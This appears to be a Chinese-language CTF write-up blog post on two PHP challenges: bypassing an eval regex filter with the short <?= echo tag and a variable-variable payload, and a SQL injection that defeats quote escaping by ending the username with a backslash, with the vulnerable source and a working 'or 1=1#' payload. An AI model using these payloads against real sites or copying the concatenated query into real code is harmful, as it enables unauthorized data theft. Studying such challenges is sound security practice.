PHP收货记录01
i-info / / CTF | PHP / 阅读量 4

1:特殊的<?=?>标记

先通过一个题目来认知:

题目截图

这题根据php源码,可以很快了解题目意图。总之就是在一大堆限制中构造payload读取flag。

这个题目,首先要满足$_GET['flag']$exam字符串长度相等,$exam的长度可以确定。并且,不能通过参数数组绕过。

下面一大堆正则表达式,上面说过,由于存在字符长度的检测(且不能通过数组绕过)所以这里的正则就不能通过数组的方式绕过了。

再下面就是一个eval函数,payload构造的重点就在于此。由于正则表达式的存在,eval中就不能使用PHP函数了。echo等关键方法也被过滤了。

所以这里就引出PHP标记<?=?>的特性了。

PHP 有一个 echo 标记简写 <?=, 它是更完整的 <?php echo 的简写形式。

PHP标记官方文档

于是用这个标记,就能构造出打印$flag的payload了。由于flag字符被过滤了,可以使用字符串操作构造出flag 此题的payload:

/?flag=$a='xlag';$a{0}='f';?>1111111111111111111<?=$$a?>
中间的1111是占位符,满足前面字符长度的要求。

2. SQL单引号转义

从一个题目里分析:
<?php
#GOAL: get password from admin;
#password is the  flag
error_reporting(0);
require 'db.inc.php'; 
function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

$row = mysql_fetch_assoc($result);

echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";
这是一个SQL注入题。题目提供了源码。 由于上面的clean()函数会让构造的payload中的引号转义了,就没法通过添加引号进行SQL注入了。 不过,我们可以用手段将SQL query 中的 ' 转义了。比如在payload末端加入 \(反斜杠)将query中的name的后面一个 ' 转义。例如,得到下面的结果:
SELECT * FROM users WHERE name='admin\' AND pass='2333'
这样得到name='admin\' AND pass=' pass被包含到name里面去了。于是输入的password就暴露了出来,可以直接注入SQL语句了(注意:pass后面还有一个 ' 但是只需要把它注释掉即可)。 于是,根据题目意思,构造payload。可以看到,payload中没有一个分号
/?username=\&password=or%201=1%23
注:%23为#的URL编码。
支付宝捐赠
请使用支付宝扫一扫进行捐赠
微信捐赠
请使用微信扫一扫进行赞赏
有 0 篇文章